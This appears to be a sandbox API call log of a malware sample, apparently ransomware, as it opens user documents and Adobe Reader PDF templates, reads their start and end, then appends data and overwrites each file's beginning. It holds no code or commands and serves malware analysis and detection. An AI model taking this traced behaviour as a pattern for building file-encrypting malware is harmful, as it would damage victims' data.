CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dR4b.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dr4b.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.344] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.344] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x161dd [0034.344] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.344] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.344] ReleaseMutex (hMutex=0x128) returned 1 [0034.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dR4b.xlsx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0034.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dR4b.xlsx", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dR4b.xlsx", lpUsedDefaultChar=0x0) returned 9 [0034.345] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.345] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x151dd [0034.345] ReadFile (in: hFile=0x1b4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.345] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x151dd [0034.346] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dedf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dedf48*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.346] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.346] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.346] CloseHandle (hObject=0x1b4) returned 1 [0034.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J5Yv0DCaKIe7OBm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5yv0dcakie7obm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.348] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.348] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xc9fa [0034.348] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.348] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.348] ReleaseMutex (hMutex=0x128) returned 1 [0034.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="J5Yv0DCaKIe7OBm.docx", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="J5Yv0DCaKIe7OBm.docx", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J5Yv0DCaKIe7OBm.docx", lpUsedDefaultChar=0x0) returned 20 [0034.348] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.349] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb9fa [0034.349] ReadFile (in: hFile=0x1b4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.349] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb9fa [0034.349] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dedf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dedf48*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.349] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.349] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.349] CloseHandle (hObject=0x1b4) returned 1 [0034.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RlQwkMJD.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rlqwkmjd.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.351] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.351] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xf226 [0034.351] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.351] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.351] ReleaseMutex (hMutex=0x128) returned 1 [0034.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RlQwkMJD.doc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RlQwkMJD.doc", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RlQwkMJD.doc", lpUsedDefaultChar=0x0) returned 12 [0034.351] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.366] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xe226 [0034.366] ReadFile (in: hFile=0x1b4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.366] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xe226 [0034.366] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dedf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dedf48*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.367] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.367] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.367] CloseHandle (hObject=0x1b4) returned 1 [0034.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.370] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.370] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x207b0 [0034.370] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.370] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.370] ReleaseMutex (hMutex=0x128) returned 1 [0034.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.370] ReadFile (in: hFile=0x1b4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.387] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1f7b0 [0034.387] ReadFile (in: hFile=0x1b4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.421] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1f7b0 [0034.422] WriteFile (in: hFile=0x1b4, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.422] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.422] WriteFile (in: hFile=0x1b4, lpBuffer=0x27d2b98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.422] CloseHandle (hObject=0x1b4) returned 1 [0034.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.424] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.424] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x13b0b [0034.424] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.424] ReleaseMutex (hMutex=0x128) returned 1 [0034.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.424] ReadFile (in: hFile=0x1b4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.439] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12b0b [0034.439] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.656] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12b0b [0034.656] WriteFile (in: hFile=0x1b4, lpBuffer=0x2726e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2726e38*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.656] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.656] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.657] CloseHandle (hObject=0x1b4) returned 1 [0034.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.924] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.924] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x103f8 [0034.924] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.924] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.924] ReleaseMutex (hMutex=0x128) returned 1 [0034.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.929] ReadFile (in: hFile=0x1b4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.931] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xf3f8 [0034.931] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.931] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xf3f8 [0034.931] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.931] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.932] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.932] CloseHandle (hObject=0x1b4) returned 1 [0034.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.933] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.933] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x25d4a [0034.933] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.933] ReleaseMutex (hMutex=0x128) returned 1 [0034.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.934] ReadFile (in: hFile=0x1b4, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.936] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x24d4a [0034.936] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.937] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x24d4a [0034.937] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.938] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.938] WriteFile (in: hFile=0x1b4, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.938] CloseHandle (hObject=0x1b4) returned 1 [0034.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.941] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.941] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5aac [0034.941] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.941] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.941] ReleaseMutex (hMutex=0x128) returned 1 [0034.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.941] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.943] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4aac [0034.943] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.943] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: 